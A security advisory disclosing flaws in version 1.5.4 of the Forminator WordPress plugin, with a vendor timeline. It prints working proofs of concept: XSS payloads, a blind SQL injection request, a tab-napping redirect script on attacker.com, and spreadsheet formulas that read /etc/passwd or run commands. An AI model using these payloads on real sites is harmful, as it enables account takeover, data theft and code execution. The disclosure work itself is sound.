• Vulnerability: Unauthenticated Persistent XSS, Blind SQL Injection, Misc
  • Affected Software: Forminator (10,000+ active installations)
  • Affected Version: 1.5.4
  • Patched Version: 1.6
  • Risk: High
  • Vendor Contacted: 11/25/2018
  • Vendor Fix: 12/10/2018
  • Public Disclosure: 02/05/2019

Unauthenticated Persistent XSS via poll


7.2 High CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N


Custom fields of a poll are not properly encoded when showing results of a poll, leading to persistent XSS.

Successful exploitation allows an unauthenticated attacker to execute JavaScript in the context of the application in the name of an attacked user. This in turn enables an attacker to bypass CSRF protection and thus perform any actions the legitimate user can perform, as well as read data which the user can access. An attacker without credentials could for example add new admin users and thus gain full access to WordPress and - depending on the WordPress settings - the server.

Proof of Concept

Prerequisite: create a poll, add a custom input field, publish the poll.

An attacker can place the payload - for example '"><img src=x onerror=alert(1)> - in the custom input field.

To trigger the payload, view the submissions of the poll.

GET /wordpress/wp-admin/admin.php?page=forminator-entries&form_type=forminator_polls&form_id=138 HTTP/1.1

<label class="sui-label">test</label><div style="margin-top: 10px;"><span class="sui-tag">'"><img src=x onerror=alert(1)> (1 vote)</span></div>

Authenticated Blind SQL Injection: Delete Submission


High 8.1 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H


The action of deleting submissions is vulnerable to blind SQL injection. An attacker can exploit this to extract data from the database.

An account with the permission to delete submissions is required.

Proof of Concept
GET /wordpress/wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=133&forminatorEntryNonce=1c8732f95e&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dforminator-entries%26form_type%3Dforminator_forms%26form_id%3D133&entries-action=&date_range=&min_id=&max_id=&search=&order_by=entries.date_created&order=DESC&entry%5B%5D=1)+or+sleep(5)--+-&entry%5B%5D=1&entries-action-bottom=delete-all HTTP/1.1

A valid nonce is required.

$sql = "DELETE FROM {$table_meta_name} WHERE `entry_id` IN ($entries)";
$db->query( $sql );

$sql = "DELETE FROM {$table_name} WHERE `entry_id` IN ($entries)";

Misc: Self-XSS, Tab Napping, CSV Injection

Self-XSS via file upload

When uploading a file in a form, the filename is inserted into the DOM, leading to XSS.

As this is a self-XSS vulnerability, some social engineering is required to exploit the issue. An attacker could for example ask another user to upload a file for them.

POC: Create a form with file upload. Visit the form, click on “Choose file” and use a file with the name '"><img src=x onerror=alert(1).png. The payload will trigger after selecting the file.

Tab Napping

The website input of a form does not use the noreferrer and noopener rel attributes and is thus vulnerable to tab napping. When clicking on a user-supplied link, the site will open in a new tab. As no protection against tab napping is used, an attacker can reload the original tab to a phishing page. A user may not notice the origin change and accidentally disclose their credentials to the attacker.

POC: Submit a form, as Website use http://attacker.com/tab.html, where that page contains the following code:

if (window.opener) window.opener.parent.location.replace('http://example.com');
if (window.parent != window) window.parent.location.replace('http://example.com');
CSV Injection

The export feature is vulnerable to CSV injection. An attacker could inject malicious data via form submissions which may lead to disclosure of information when exported and viewed with a spreadsheet program.

POC: Use one of the following values for any input field, followed by exporting the data and viewing the .csv file with Excel or LibreOffice.

// read a local file (LibreOffice, linux)
=WEBSERVICE("" & ('file:///etc/passwd'#$passwd.A1))

// read other data in the .csv file (LibreOffice, linux)
=WEBSERVICE("" & B2 & C2)

// execute code (Excel, windows)
=cmd|'/C calc'!A0
  • 11/25/2018 Asked for email address via contact form
  • 11/25/2018 Vendor responds, advisory sent
  • 12/10/2018 Vendor releases fix
  • 02/05/2019 Disclosure